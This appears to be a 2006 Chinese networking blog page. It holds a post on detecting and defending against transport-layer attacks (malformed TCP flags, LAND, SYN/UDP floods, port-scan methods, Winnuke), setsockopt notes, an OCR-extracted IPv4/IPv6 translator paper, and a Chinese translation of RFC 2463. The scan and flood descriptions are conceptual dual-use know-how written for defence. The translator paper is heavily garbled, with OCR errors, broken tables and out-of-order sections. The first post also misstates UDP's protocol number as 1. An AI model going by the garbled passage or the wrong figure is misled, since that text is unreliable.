功檢測來自傳輸層的攻擊及防御0.傳輸層傳輸層在IP層的上層，通常是IP頭中protocol字段中指定的協議，通常用得最多的是TCP（6）和UDP（1）。為方便理解，先列出TCP和UDP頭結構，下面是RFC793定義的TCP頭結構：SourcePort:源端口，16位DestinationPort:目的端口，16位SequenceNumber：序列號，32位，TCP用它來保證有序傳輸數據AcknowledgmentNumber：確認號，32位，指明希望對方發(fā)送數據的序列號，以前的數據已經正確接收DataOffset:數據偏移量，4位，指名數據相對于TCP頭的偏移量，可理解為TCP頭長度，和IP頭長度一樣，也是以4個字節(jié)為一個單位，最小為5,最大15,分別表示頭長為20，60字節(jié)Reserved:保留位URG:緊急標志，1位，有該標志時UrgentPointer通常不為0ACK：確認標志，1位，有該標志時AcknowledgmentNumber通常不為0PSH：PUSH“推”標志，1位，有該標志時data長度通常不為0RST：重置標志，1位，用于異常斷開TCP連接SYN:同步標志，1位，用于TCP連接FIN：結束標志，1位，表示不再發(fā)送數據Window:窗口大小，16位，表示目前接收緩沖區(qū)大小，用于流量控制Checksum:校驗和，16位，校驗范圍為偽IP頭+TCP頭+數據UrgentPointer:緊急指針，16位，用于指示緊急數據位置Options:IP選項，長度從0到40字節(jié)Padding:填充字節(jié)，TCP頭都要是4的倍數，不夠的以0填充下面是RFC768定義的UDP頭結構：0781516232431++11+|Source|Destination||Port|Port|+-111+||||Length|Checksum|++11+||dataoctets...+...SourcePort:源端口，16位DestinationPort:目的端口，16位Length:長度，16位，包括UDP頭和數據總長Checksum:校驗和，16位，校驗范圍為偽IP頭+UDP頭+數據，也可以為0，表示不進行校驗注：偽IP頭是計算TCP、UDP校驗和需要用到的IP頭數據，包括源地址（32位）、目的地址（32位）、協議（8位）和TCP、UDP長度（16位）這4個字段，其他字段置0。1.異常包TCP/UDP:端口值為0的包；校驗和錯誤的包TCP標志位異常包：SYN只能單獨存在或只能和ACK共存，和其他標志共存就是異常包；沒有標志或標志全置的包；有ACK標志但AcknowledgmentNumber為0的包；有SYN標志但SequenceNumber為0的包；有URG標志但UrgentPointer為0,或沒有URG標志但UrgentPointer不為0的包；RST和除ACK標志之外的其他標志共存的包；這種攻擊標志很明顯，防御也很容易，可以做到100%檢測并阻斷；2.LAND攻擊TCP層的攻擊了，不過在網絡層就可以防護；攻擊方發(fā)送源地址和目的地址相同的TCPSYN包，對老的某些操作系統(tǒng)就會發(fā)SYNACK包給自身，建立空連接，最終消耗盡自身資源，現在的操作系統(tǒng)已經不會那么傻了，這種攻擊也可以做到100%檢測并阻斷；3.Flood攻擊synflood:是TCP協議的最大弱點了，對synflood攻擊的分析在另一篇文章中詳細說明了，理論上是無法真正防御的，只能進行一定程度的緩解；UDPflood：就是發(fā)送大量UDP包阻塞目的機通信，由于UDP是非連接協議，因此只能通過統(tǒng)計的方法來判斷，很難通過狀態(tài)檢測來發(fā)現，只能通過流量限制和統(tǒng)計的方法緩解；對于有些協議，服務器部分的計算量會遠大于客戶端的計算量，如DNS，野蠻模式的IKE等，這些情況下flood攻擊更容易形成DOS。4.端口掃描端口掃描往往是網絡入侵的前奏,通過端口掃描，可以了解目標機器上打開哪些服務，有的服務是本來就是公開的，但可能有些端口是管理不善誤打開的或專門打開作為特殊控制使用但不想公開的，通過端口掃描可以找到這些端口，而且根據目標機返回包的信息，甚至可以進一步確定目標機的操作系統(tǒng)類型，從而展開下一步的入侵。4.1TCP掃描按照RFC，當試圖連接一個沒有打開的TCP端口時，服務器會返回RST包；連接打開的TCP端口時，服務器會返回SYNACK包合法連接掃描：connect掃描：如果是打開的端口，攻擊機調用connect函數完成三次握手后再主動斷開；關閉的端口會連接識別SYN掃描：攻擊機只發(fā)送SYN包，如果打開的端口服務器會返回SYNACK，攻擊機可能會再發(fā)送RST斷開；關閉的端口返回RST；異常包掃描：FIN掃描：攻擊機發(fā)送FIN標志包，Windows系統(tǒng)不論端口是否打開都回復RST；但UNIX系統(tǒng)端口關閉時會回復RST，打開時會忽略該包；可以用來區(qū)別Windows和UNIX系統(tǒng)；ACK掃描：攻擊機發(fā)送ACK標志包，目標系統(tǒng)雖然都會返回RST包，但兩種RST包有差異；對于合法連接掃描，如果SYN包確實正確的話，是可以通過防火墻的，防火墻只能根據一定的統(tǒng)計信息來判斷，在服務器上可以通過netstat查看連接狀態(tài)來判斷是否有來自同一地址的TIME_WAIT或SYN_RECV狀態(tài)來判斷。對于異常包掃描，如果沒有安裝防火墻，確實會得到相當好的掃描結果，在服務器上也看不到相應的連接狀態(tài)；但如果安裝了防火墻的話，由于這些包都不是合法連接的包，通過狀態(tài)檢測的方法很容易識別出來（注意：對于標準的Linux內核所帶防火墻netfilter的TCP狀態(tài)檢測的實現，ACK和FIN掃描是可以通過的，需要修改才能防御）。4.2UDP掃描當試圖連接一個沒有打開的UDP端口時，大部分類型的服務器可能會返回一個ICMP的端口不可達包，但也可能無任何回應，由系統(tǒng)具體實現決定；對于打開的端口，服務器可能會有包返回，如DNS，但也可能沒有任何響應。UDP掃描是可以越過防火墻的狀態(tài)檢測的，由于UDP是非連接的，防火墻會把UDP掃描包作為連接的第一個包而允許通過，所以防火墻只能通過統(tǒng)計的方式來判斷是否有UDP掃描。5.TCP緊急指針攻擊Winnuke:對老的Windows系統(tǒng)，對TCP139端口發(fā)送帶URG標志的包，會造成系統(tǒng)的崩潰，特征明顯，防火墻可以100%防御，但也可能誤傷；6.TCP選項攻擊相對IP選項，TCP選項利用率要高很多，很多正常包中都要用到，TCP選項攻擊包括：1）非法類型選項：正常的選項類型值為0、1、2、3、8、11、23、13,其他類型的出現是可疑的（類型4,5,6,7雖然定義了但被類型8取代，正常情況下也是不用的）；2）時間戳：用于搜集目的機的信息；3）選項長度不匹配:選項中的長度和TCP頭中說明的TCP頭長度計算出的選項長度不一致;4）選項長度為0：非0、1類型的選項長度為0，是非法的；5）選項缺失，一般SYN包中都要有MSS選項，沒有的話反而不正常；6.總結傳輸層的攻擊也屬于特征比較明顯的類型，除synflood外防護也比較容易，由于模式固定，也適合硬件實現。synflood是TCP永遠的痛，是TCP設計之初沒有仔細考慮到的，在一些新的協議如SCTP（132），已經考慮到此因素，但由于TCP應用太廣泛，要取代TCP基本不太可能。第1部分/共1部分[1]*相關文章proc文件系統(tǒng)VPN技術詳解（八）BasicIntegerOverflowsLinux7.xTCPWrapper和xinetd淺談收費網站遇到的威脅since2003-12版權所有（C）2003-2006一孔之見Allrightsreserved滬ICP備05053386號-作者：kyohiroyuki2006年05月31日，星期三15:57回復（1）|引用（0）加入博采?Setsockopt選項有時候我們要控制套接字的行為（如修改緩沖區(qū)的大小），這個時候我們就要控制套接字的選項了.以下資料均從網上收集得到getsockopt和setsockopt獲得套接口選項：[code:1:59df4ce128]intgetsockopt（intsockfd,intlevel,intoptname,void*optval,socklen_t*opteln）設置套接口選項：intsetsockopt（intsockfd,intlevel,intoptname,constvoid*optval,socklen_t*opteln）sockfd（套接字）：指向一個打開的套接口描述字level:（級別）：指定選項代碼的類型。SOL_SOCKET:基本套接口IPPROTO_IP:IPv4套接口IPPROTO_IPV6:IPv6套接口IPPROTO_TCP:TCP套接口optname（選項名）：選項名稱optval（選項值）：是一個指向變量的指針類型：整形，套接口結構，其他結構類型:linger{},timeval{}optlen（選項長度）：optval的大小返回值：標志打開或關閉某個特征的二進制選項-作者：kyohiroyuki2006年04月3日，星期一12:39回復（0）|引用（0）加入博采?偽裝IP地址的洪水Ping攻擊-作者：kyohiroyuki2006年03月31日，星期五20:17回復（0）|引用（0）加入博?ipv4/ipv6轉換23.3.2應用層網關(ApplicationLevelGaleway,ALG)通過上面的分析叮以看出NAT-PT本身不轉換數據包的負載部分，因此NA'I-PI'對在負載中拚帶了IP地址的應用無能為力.應用層網關(ALG)[NAT-TERMI就是為了解決這種情況而采用的種代理機制，該代理允許這種應用在v6節(jié)點和v4節(jié)點通訊，所以不同應用的ALG和NAT-PT聯合使用可以提供對多種應用層的支持.該文設計的轉換器實現了F1P-ALG和SIP-ALG,下肉分別介紹FIT-AI,(;的實現:文件傳輸協議FTP是目前因特網上最廣泛的應用之一，形成了網絡主要流量.按照文獻[17』的要求，FI7)過程分為兩步進行:控制會話和數據交換會話.因為在控制會話過程中,FTP負載中包含了為數據交換會話準備的.P地址和TCP端口號，所以FrP-ALG必須提供透明的轉換.運行在v4節(jié)點上的FIT應用程序,在客戶端向服務器端發(fā)送的PORT命令中，以及服務器端向客戶端返回的成功應答PASV命令中均以ASCII方式承載rIP地址和端口號.然而，文獻1151將IP,,4下的FTP兩個命令分別V,展成EPRT和EPSV,并計劃逐步停止使用PORT和PASV命令.另外在IPv4中用來說明進人被動模式的227命令，在「Pv6中被229取代SIP-ALG的實現SIP(SessionInitiationProtocol)是IETF定義的F一代互聯網傳翰的信令協議!18111910這種協議在IPv4/IPv6轉換時存在和FP1,類似的問題，即在信令消息中以ASCII碼方式攜帶了IP地址.轉換器實現r對SIP各消息包頭以及SDP中IP地址相關性分析，完成了在住冊服務，重定向服務，信令路由等情況下IPv4SIP信令和IPv6SIP信令的轉換3.3.3軟件結構的特點該轉換器完全基于Linux平臺，為了提高性能，采用了以下技術：采用多進程方式，提高了轉換器的并發(fā)程度，使協議轉換和數據包的轉發(fā)做到廠幾乎同時進行.對IPv4中地址解析協議ARP和IPv6中鄰居發(fā)現協議1482003.25計笠機丁段與俞用ND采用緩存方式，減少不必要的重復解析，加快了地址解析和查找的速度在杏找映射隊列時，采用哈希散列表(hashtable)技術提高杳找的速度和精度，4實驗和性能測試在這部分，通過一個實驗網(見圖3)對轉換器的性能進行了測試.這個實驗網分別由運行IPv4協議和「Pv6協議主機構成.轉換器安裝在一臺設置了兩塊網K的計算機」一并且作為IPv6局域網訪問”外界"IPv4網絡的網關.其中IM主機全部采用Linux7.2作為操作系統(tǒng)，實驗時將IPA協議棧關閉，使其成為純IPv6主機.網絡為loom快速以太網IM網絡內部設置的應用服務包括：WWW服務(采用Apache2.0眼務器)FTP服務(Pmftp1.0)電子郵件服務器(sendmail8.0域名服務器DNS(BIND9.1.3)遠程登錄(Td-td0.17,包含在xinetd中)Internet.IPv6DNS圈3IPv6"侶IPv6PIPSERVER實臉網絡的蕊本拓撲結構對轉換器的測試包括功能測試和性能測試兩部分功能測試主要是考察轉換器是否正確完成了上述的各種應該達到的轉換功能.性能測試是在功能測試的基礎卜對某此重q應用〔如FTP）測試其轉換的效率對WWW服務和DNS-ALG的測試.使用Manila瀏覽器（Linux「支持IPv6的瀏覽器）采用域名方式成功訪問到了外部IPv4網站，同時也成功收發(fā)到了郵件,證明轉換器中I）NS-ALG工作正常，對WWW服務和郵件服務進行廠成功的轉換采用Ping命令針對轉換器多進程方式和單進程方式進行性能測試，結果如表1所示.衰1采用多進租和單進程的轉接韶性能的比較最大RTT值（ms）I平馬RTT值（廠0.82010.5660.791】一0746對FTP轉換的測試.由于對FTI〕的轉換不僅涉及到數據包頭，還包括負載地址分析，而且大量文件傳輸本身對網絡（下轉205頁）萬方數據要部分，今后的研究是進一步優(yōu)化圖像無線傳輸的繞射性能會造成定壓力，所以文章對轉換器在應用k'I'l'情況下的性能進行r單獨測試測試時將IPv4/JPv6轉換器與純IPv4情況下自身轉發(fā)能力進行7比較.見表2.衰ZFTP吞吐.的比較刁||川月月Pv4/IPv6轉換器卜義件大小（M）F10.7221.4542.9164.388583延遲（ue）12.6125.1450.7975.66101.40吞吐.（Khytes/-）850.37853僅呂料.84850.91w53INVIPA轉發(fā)1"Kb"./.rEj!-!"716.5427.36784.2154.68_784.8_081.62788.79108.94787.94慮，采用雙找技術對大規(guī)模IM網絡來說只可能是個迫不得已的選擇.與已有龐大的IPv4網絡的互通必然要借助于轉換器.當然文章設計和實現的轉換器仍有需要改進的地方；例如可以考慮采用隧道封裝技術解決轉換器對網絡端到端連接性的影響，采用硬件加速方式進一步提高轉換器對數據包處理的性能,采用固定映射方式解決組播在跨越v4/v6網絡時遇到的v4和v6組播地址不統(tǒng)一問題等等.（收稿日期:2003年l月）L述測試表明:筆者設計和開發(fā)的轉換器不僅在功能上滿足各項指標,在性能卜也有所提高.5需要進一步討論的問題由于網絡協議轉換的復雜性在設計和實現轉換器的時候還存在需要進一步討論的問題.協議轉換的限制.盡管在兩種IP協議之間存在基本的映射，但還是有一些字段，選項和擴展無法轉換,結果會導致信息的缺失，從而可能影響到應用程序.另一方面,IPv6規(guī)范中定義的一t擴展如認證,封裝和擴充路由等是IPv4特征的超集.所以是完全透明的，沒有信息缺失的轉換包頭是不可能的.不過目前大多教應用并沒有使用IP頭的擴展字段，所以這些信息的缺失對數據的傳愉并不會造成實質性的影響.拓撲限制使用轉換器在拓撲上有一定限制:為了保證轉換的連續(xù)性，所有同一個會話流的請求和響應都必須經過同一個轉換器確保這一點的一個方法是將轉換器安裝在邊界路由器上這樣由這個路由器控制的網絡上的所有數據包都必須經過這個路由器進出網絡，從而保證轉換器正常工作.影響了端到端的連接性.由于轉換器要打斷網絡的正常連接在網絡連接的中間進行一系列的處理,所以轉換器的一個最重要的限制是影響了端到端的網絡和傳愉層的連接性〔例如IPSec的使用).有些應用要考慮某種程度的地址穩(wěn)定性.轉換器對動態(tài)地址的重用不適于這些應用.對有這種需要的主機(多數是服務器)，解決方法是將映射地址配里成靜態(tài)映射方式.這將確保該主機的映射地址的相對稼定,從而提高上層應用服務的健壯性.6結論該文設計和實現的v4/v6轉換器，對于以后建設大規(guī)模IPv6網絡具有重要的意義.因為出于地址匡乏和性能上的考參考文獻-作者：kyohiroyuki2006年03月30日，星期四17:08回復(0)|引用(0)加入博?IPv4/IPv6過渡機制的研究與實現-作者：kyohiroyuki2006年03月30日，星期四17:07回復（0）|引用（0）加入博?RFC-2643中文組織：中國互動出版網（/）RFC文檔中文翻譯計劃(/compters/emook/aboutemook.htm)E-mail:ouyang@譯者：netjnn(netjnnnetjnn@263.net)發(fā)布時間：2001-6-25版權：本中文翻譯文檔版權歸中國互動出版網所有。可以用于非商業(yè)用途自由轉載，但必須保留本文檔的翻譯及版權信息。NetworkWorkingGroupA.ContaRequestforComments:2463LucentObsoletes:1885S.DeeringCategory:StandardsTrackCiscoSystemsDecember1998針對因特網協議第六版（Ipv6）的因特網控制報文協議（ICMPv6）規(guī)范(InternetControlMessageProtocol(ICMPv6)fortheInternetProtocolVersion6(IPv6)Specification)關于本文的說明這個文檔說明了一個為Internet通訊的Internet標準跟蹤協議，而且它的改進希望得到討論和建議。請參考"Internet正式協議標準"（標準1）的當前版本來得到本協議的標準化陳述.本文的分發(fā)不受限制.版權聲明版權所有Internet協會（1998）.保留所有權利。概述這篇文檔說明了一系列基于第六版本的因特網協議（IPv6）的因特網控制報文協（ICMPv6）使用的報文。目錄TOC\o"1-5"\h\z簡介2ICMPv622.1報文的總體格式22.2報文源地址的測定32.3報文校驗和的計算32.4報文處理規(guī)則3ICMPv6差錯報文43.1目的不可達報文43.2包過大報文53.3超時報文63.4參數出錯報文6ICMPv6信息報文74.1回顯請求報文74.2回顯應答報文7安全考慮8ICMP報文的認證和加密8ICMP攻擊8.參考文獻.致謝.作者地址10附錄A——自RFC1885以來的改變10完整的版權聲明11簡介第六版本的因特網協議是一個IP協議的新版本.IPv6使用了為IPv4定義的ICMP協議，但是有一些改變?最后的協議被稱為ICMPv6.它在IPv6的下一首部字段中對應的值為58。這篇文檔描述了在ICMPv6中使用的一系列控制報文的格式。它并沒有描述使用這些報文以達到某種功能比如發(fā)現路徑的最大傳輸單元(MTU)的具體過程。這些具體的過程是在其他的文檔中描述的(比如：[PMTU].)。其他的文檔有可能介紹了一些另外的ICMPv6的報文類型，比如鄰站探測報文[IPV6-DISC],他們都服從在這篇文檔第二節(jié)中所闡述的ICMPv6報文的整體規(guī)則。在IPv6規(guī)范和IPv6路由和尋址規(guī)范中所定義的術語也被應用到這篇文檔中。這篇文檔中使用的關鍵字：“必須”，“必須不”，“要求”，“將要”，“將不會”，“應該”，“不應該”，“推薦”，“可能”，“任選”。它們在RFC-2119中有詳細的解釋。ICMPv6IPv6節(jié)點使用ICMPv6來報告在傳送包的過程中遇到的錯誤，而且用它來完成其它網絡層的功能，比如診斷(ICMPv6ping)。ICMPv6是IPv6內在的一部分，而且每一個IPv6節(jié)點都必須充分的應用它。2.1報文的總體格式ICMPv6報文總體上被分為兩種類型：差錯報文和信息報文。差錯報文的識別是通過在消息類型字段值的高比特位中設置0。因此，差錯報文的報文類型從0到127；信息報文的類型從128到255。這篇文檔為以下的ICMPv6報文定義了報文格式：ICMPv6差錯報文目的不可達（3.1節(jié)）包過大（3.2節(jié)）超時（3.3節(jié)）參數出錯（3.4節(jié)）ICMPv6消息報文128回顯請求（4.1節(jié)）129回顯應答（4.2節(jié)）每一個ICMPv6報文在傳送時會被加上一個IPv6基本首部和若干（或沒有）IPv6擴展首部。ICMPv6首部的識別是通過在它之前離它最近的首部中的下一首部字段。ICMPv6在該字段中對應的值為58。（注意：這和在IPv4中ICMP的識別有很大的不同）ICMPv6報文有如下的總體格式：071531類型代碼校驗和報文體類型字段描述了報文的類型。它的值決定了后面數據的格式。代碼字段是依賴于報文類型的。在報文類型的基礎上，它被用來在基本的類型基礎上創(chuàng)建更細的報文等級。校驗和字段是用來在ICMPv6報文中檢驗數據的完整性和部分IPv6首部的。2.2報文源地址的測定一個送出ICMPv6報文的節(jié)點在計算校驗和以前要在IPv6首部中決定源地址和目標IPv6地址。如果節(jié)點有多于一個的單目地址，它必須按以下的原則選定源地址：（a）如果報文是對發(fā)往該節(jié)點的某一單目地址進行響應的，那應答報文的源地址必須是這個單目地址。如果報文是對發(fā)往該節(jié)點為組員的多播組或任意播組的報文進行響應的，那麼應答報文的源地址必須是一個屬于接收到多播或任意播包接口的單目地址。如果報文是對發(fā)往一個并不屬于該節(jié)點地址的報文進行響應的，那麼源地址必須是屬于該節(jié)點且最有利于診斷錯誤的那個單目地址。比如，如果報文是對一個不能正常轉發(fā)包的行為進行響應的，源地址就是那個屬于轉發(fā)包失敗的接口的單目地址。另外，在轉發(fā)報文到目的地時，必須使用節(jié)點的路由表來決定由哪個接口轉發(fā)報文。屬于那個接口的單目地址作為報文的源地址。2.3報文校驗和的計算校驗和是整個ICMPv6報文的一個16位字的補數和。校驗和的計算起始于ICMPv6的類型字段并被加上一個IPv6的偽首部(在IPv68.1節(jié)中有介紹)。在偽首部中下一首部字段的值為58。(注意：在ICMPv6的校驗和計算中加上偽首部是從IPv4變化而來的；想了解改變的原理請查看IPv6。)為了計算校驗和，校驗和字段被設置為0。2.4報文處理規(guī)則在處理ICMPv6報文時，應用程序必須遵守以下的規(guī)則：(來自RFC-1122)如果收到了一個不知道類型的ICMPv6差錯報文，它必須被送往上層協議。如果收到了一個不知道類型的ICMPv6信息報文，它必須被悄悄的丟棄。每一個ICMPv6差錯報文(類型＜128)在不超過最小IPv6最大傳輸單元的情況下，包括盡可能大的引起出錯的包。在以上的情況中，網絡層協議把ICMPv6差錯報文傳送到上層協議的進程。原包中的上層協議字段(在ICMPv6差錯報文的報文體中)被取出，用來選擇合適的上一層進程來處理錯誤。如果原包含有一個很大的擴展首部，那麼有可能上層協議類型并沒有包含在ICMPv6差錯報文中。原因是為了滿足最小IPv6最大傳輸單元的限制，原包被切斷了。在這種情況下，差錯報文在任何IPv6層處理后被悄悄的丟棄。如果接收到的情況為下列之一，則ICMPv6差錯報文必須不被發(fā)出。(e.1)—個ICMPv6差錯報文，或者(e.2)—個預定發(fā)往IPv6多目地址的包(這種情況有兩個例外：(1)包過大報文——3.2節(jié)一一為了允許路徑MTU發(fā)現為IPv6多播工作(2)參數出錯報文，代碼值為2——3.4節(jié)一一通過將選項類型的最高兩比特位設置為10報告一個不認識的IPv6選項)，或者(e.3)—個作為鏈路層多播的包，(e.2中指出的兩條例外情況也適用于這里)，或者(e.4)一個作為鏈路層廣播的包，(e.2中指出的兩條例外情況也適用于這里)，或者(e.5)一個源地址并不是指明的一個唯一的節(jié)點的包，比如：IPv6未指明地址，IPv6多目地址，或一個ICMPv6報文發(fā)送者知道的IPv6任意播地址最后，為了限制由于發(fā)送ICMPv6差錯報文引起的帶寬和轉發(fā)的代價，一個IPv6節(jié)點必須限制它發(fā)送的ICMPv6差錯報文的比率。當源站發(fā)送一串錯誤的包，并且沒有注意到由此產生的ICMPv6差錯報文的時候，這種情況就可能發(fā)生。有一系列的實現限制比率的方法，比如：(f.1)基于定時器的一一比如：對給定的源站或者對任意的源站，限制傳送ICMPv6差錯報文的比率，每T毫秒最多發(fā)送一次。(f.2)基于帶寬的——比如：限制從特定接口發(fā)出的的差錯報文的比率，相連接的帶寬上最多利用自己的F來發(fā)送。限制的參數（比如：以上例子中的T或F）必須是針對節(jié)點配置的，且每個參數有缺省值（比如：T=1秒，不是0秒；F=2%，不是0%）以下幾節(jié)描述了以上ICMPv6報文的格式。ICMPv6差錯報文3.1目的不可達報文071531類型代碼校驗和未使用在不超過最小IPv6MTU的情況下，包括了盡可能大的引起出錯的包。IPv6字段：目的地址從引起出錯的包的源地址字段拷貝來的ICMPv6字段：類型1代碼0-沒有路由到目的同目的的通訊由于管理被禁止（沒有指派）地址不可達端口不可達未使用這個字段對所有的代碼值都是不可用的。它必須被發(fā)送者初始化為0,被接受者忽略描述一個目的不可達報文應該由路由器或源節(jié)點的IPv6層產生，作為對由于除阻塞以外原因使得包不能傳送到目的地址的回應。（如果由于阻塞導致包丟失的話，必須不會產生一個ICMPv6報文）如果傳送失敗的原因是由于才轉發(fā)節(jié)點上的路由表中缺少對應的表項，代碼字段將被置為0。（注意：這種錯誤只有在節(jié)點路由表中缺少缺省路由表項時才可能發(fā)生。）如果傳送失敗的原因是由于管理的禁止，比如：防火墻過濾，代碼字段被置為1。如果傳送失敗是由于任何其他的原因，比如：不能把IPv6地址映射成相應的鏈路層地址，或某種鏈路層特定的錯誤，代碼字段將被置為3。如果對收到的包傳輸層協議（如UDP）沒有監(jiān)聽者的且傳輸層協議沒有別的措施來通知發(fā)送者的話，目的節(jié)點應該發(fā)送一個目的不可達報文，代碼字段置4。上層通告當節(jié)點收到ICMPv6目的不可達報文時，必須通知上一層進程。3.2包過大報文071531類型代碼校驗和最大傳輸單元在不超過最小IPv6MTU的情況下，包括了盡可能大的引起出錯的包。IPv6字段目的地址從引起出錯的包的源地址字段拷貝來的

類型代碼它必須被發(fā)送者初始化為0,被接受者忽略。類型代碼它必須被發(fā)送者初始化為0,被接受者忽略。最大傳輸單元下一跳鏈路的最大傳輸單元。描述一個包過大報文必須由路由器發(fā)出，作為對因為包太大超過了出口鏈路的最大傳輸單元而不能轉發(fā)的回應。這個報文中的信息作為進程的一部分，在最大路徑傳輸單元進程中使用發(fā)送包過大報文是甚麼時候發(fā)送ICMPv6差錯報文規(guī)則的一個例外。因為不象其它的報文，它的發(fā)送是作為接收到有著IPv6多播地址或鏈路層多播或鏈路層廣播地址的包的回應。上層通告一個到來的包過大報文必須被送到上層進程。3.3超時報文071531類型代碼校驗和未使用在不超過最小IPv6MTU的情況下，包括了盡可能大的引起出錯的包。IPv6字段：目的地址從引起出錯的包的源地址字段拷貝來的ICMPv6字段：類型3代碼0-傳送過程中超過了跳數限制1-分片重組超時未使用這個字段對所有的代碼值都是不可用的。它必須被發(fā)送者初始化為0,被接受者忽略描述如果一個路由器收到一個跳數限制為0的包，或是它將跳數限制減去1后變?yōu)?，那這個路由器必須丟棄這個包并且發(fā)一個代碼為0的ICMPv6超時報文給源站點。這種情況通常意味著一個路由環(huán)路或是初始的跳數限制值太小。上層通告一個到來的超時報文必須被送到上層進程。71531類型代碼校驗和指針在不超過最小IPv6MTU的情況下，包括了盡可能大的引起出錯的包。從引起出錯的包的源地址字段拷貝來的40-錯誤的首部字段3.4參數出錯報文IPv6字段:目的地址ICMPv6字段:類型代碼1-不可識別的下一首部類型2-不可識別的IPv6選項指針指出了在引起出錯的包中錯誤出現地方的八位偏移量。如果源包引起錯誤的字段即使在ICMPv6差錯報文達到最大長度時也描述如果一個IPv6節(jié)點因為發(fā)現了IPv6首部或其擴展首部中的某個字段有問題而導致對包的處理失敗，那它必須丟棄這個包并發(fā)送一個ICMPv6參數錯誤報文給源站，指出出錯的地方和出錯的類型。指針字段指出了檢測出錯誤的地方相對于源包首部的八位組。比如，一個類型為代碼為1的，指針字段值為40的ICMPv6報文，指出了源包中跟在IPv6基本首部后的IPv6擴展首部的下一首部字段有一個不被識別的值。上層通告一個節(jié)點收到ICMPv6報文時必須通報上層進程。4.ICMPv6信息報文4.1回顯請求報文071531類型代碼校驗和標識序列號數據…IPv6字段：目的地址一個合法的IPv6地址ICMPv6字段：類型128代碼0標識用來將請求與應答進行匹配。也可能是0。序列號用來將請求與應答進行匹配。也可能是0。數據0或任意數據的八位組。描述每一個節(jié)點必須能夠完成ICMPv6回顯應答者的功能，即在收到ICMPv6回顯請求發(fā)出相應的ICMPv6回顯應答。為了診斷，一個節(jié)點還應該能夠為發(fā)送請求接收應答提供應用層接口。上層通告回顯請求報文可能被送到接收ICMP報文的進程。4.2回顯應答報文071531類型代碼校驗和標識序列號數據…IPv6字段：目的地址從引起出錯的包的源地址字段拷貝來的ICMPv6字段：類型129代碼0標識相應的回顯請求報文的標識符。序列號相應的回顯請求報文的序列號。數據相應的回顯請求報文的數據。描述每一個節(jié)點必須能夠完成ICMPv6回顯應答者的功能，即在收到ICMPv6回顯請求時發(fā)出相應的ICMPv6回顯應答。為了診斷，一個節(jié)點還應該能夠為發(fā)送請求接收應答提供應用層接口。對一個單目地址的回顯請求報文應答時，源地址必須和回顯請求報文的目的地址相同。如果回顯請求報文是發(fā)往多目地址的，應該發(fā)送回顯應答報文。回顯應答報文的源地址必須是一個屬于接收到多播回顯請求報文接口的單目地址。ICMPv6回顯請求報文中的數據必須在回顯應答報文中必須被不加改變的完整的送回。上層通告回顯應答報文必須被送到引起發(fā)送回顯請求報文的進程。它也有可能被送到沒有引起發(fā)送回顯請求報文的進程。安全考慮5.1ICMP報文的認證和加密通過IP[IPv6-AUTH]認證首部，交換的ICMP包能夠被認證.如果目的地址的安全聯盟(SA)要求使用IP認證首部的話，節(jié)點在發(fā)送ICMP報文時就應該包括IP認證首部。安全聯盟可以通過手工建立，也可以通過一些密鑰管理協議自動建立。收到有認證首部的ICMP包時，必須對它的正確性加以驗證。如果包的認證首部不正確的話，這個包必須被忽略，丟棄。這里也應該有一種可能，系統(tǒng)管理員將節(jié)點配置為忽略任何使用認證首部或封裝安全載荷(ESP)的ICMP報文，不對他們進行驗證。這種改變在缺省情況下，應該允許接收沒認證的報文。機密性的問題在IP安全結構和IP封裝安全載荷文檔［IPv6-SA,IPv6-ESP］中有講解。5.2ICMP攻擊ICMP報文可能遭受到各種各樣的攻擊。在IP安全結構文檔［IPv6-SA］中可以找到有關與此的完整的討論。一個簡短的有關此類攻擊即其防范的討論如下：有的攻擊故意使報文接收者認為報文是從另外的源站發(fā)出的，而不是報文真正的產生者。防范這類攻擊可對ICMP報文采取IPv6認證機制［IPv6-AUTH］.有的攻擊故意使報文或者其應答到達一個不是發(fā)起者想到的目的地。對于報文在源地址和目的地址之間通過IP包傳送時被惡意的攔截者攔截，并改變了報文的數據的情況，如果通過對ICMP報文進行認證［IPv6-AUTH］和加密［IPv6-ESP］而將ICMP的校驗和字段加以保護，ICMP的校驗和就能對這種情況提供防范機制。ICMP報文的信息字段或有效載荷可能被改變。對ICMP報文進行認證［IPv6-AUTH］和加密［IPv6-ESP］是對這種攻擊的一種防范機制。通過給先前的惡意的IP包回送，ICMP報文可能被用來試圖完成否認服務攻擊。正確的遵循這個規(guī)范的2.4節(jié)，f段提到的ICMP錯誤比率限制機制能夠提供防范。.參考文獻［IPv6］Deering,S.andR.Hinden,"InternetProtocol,Version(IPv6)Specification",RFC2460,December1998.［IPv6-ADDR］Hinden,R.andS.Deering,"IPVersion6AddressingArchitecture",RFC2373,July1998.[IPv6-DISC]Narten,T.,Nordmark,E.andW.Simpson,"NeighborDiscoveryforIPVersion6(IPv6)",RFC2461,December1998.[RFC-792]Postel,J.,"InternetControlMessageProtocol",STD5,RFC792,September1981.[RFC-1122]Braden,R.,"RequirementsforInternetHosts-CommunicationLayers",STD5,RFC1122,August1989.[PMTU]McCann,J.,Deering,S.andJ.Mogul,"PathMTUDiscoveryforIPversion6",RFC1981,August1996.[RFC-2119]Bradner,S.,"KeywordsforuseinRFCstoIndicateRequirementLevels",BCP14,RFC2119,March1997.[IPv6-SA]Kent,S.andR.Atkinson,"SecurityArchitecturefortheInternetProtocol",RFC2401,November1998.[IPv6-Auth]Kent,S.andR.Atkinson,"IPAuthenticationHeader",RFC2402,November1998.[IPv6-ESP]Kent,S.andR.Atkinson,"IPEncapsulatingSecurityProtocol(ESP)",RFC2406,November1998..致謝這篇文檔是從以前SIPP和Ipng工作組的ICMP草稿變化來的。Ipng工作組特別是RobertElz,JimBound,Bill,Simpson,ThomasNarten,CharlieLynn,BillFink,ScottBradner,DimitriHaskin,andBobHinden(按邏輯順序)供了深入的評論和回饋。.作者地址AlexContaLucentTechnologiesInc.300BakerAve,Suite100USAPhone:+1978287-2842EMail:aconta@StephenDeeringCiscoSystems,Inc.170WestTasmanDriveSanJose,CA95134-1706USAPhone:+1408527-8213EMail:deering@附錄A——自RFC1885以來的改變版本2-02-從2.4節(jié)f.2段開始沒有提到信息回顯。-在“上層通告”段中，將“上層協議”和“用戶接口”改為“進程”。-改變了5.2節(jié)第二條和第三條，都參考AH認證。-將5.2節(jié)有關否認服務攻擊的第5條刪除。-在“作者地址”節(jié)中更新了電話號碼和Email地址。版本2-01-將所有作為最大ICMP報文長度的“576八位組”改為在基本IPv6規(guī)范中定義的“最小IPv6MTU-刪除了信息報文中的比率控制。-加入了接收者忽略包過大報文中代碼字段的需求。-刪除了目的不可達報文中的代碼2“不是鄰居”。-確定